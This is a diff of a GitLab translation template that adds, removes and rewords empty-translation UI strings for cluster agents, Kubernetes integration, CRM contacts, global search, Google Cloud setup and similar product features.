@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7824,15 +7994,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8007,12 +8177,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8337,6 +8498,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8487,6 +8651,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10000,6 +10176,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10033,9 +10212,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11317,6 +11529,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11542,6 +11760,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12583,9 +12813,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14277,6 +14522,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14548,9 +14811,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,7 +19361,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
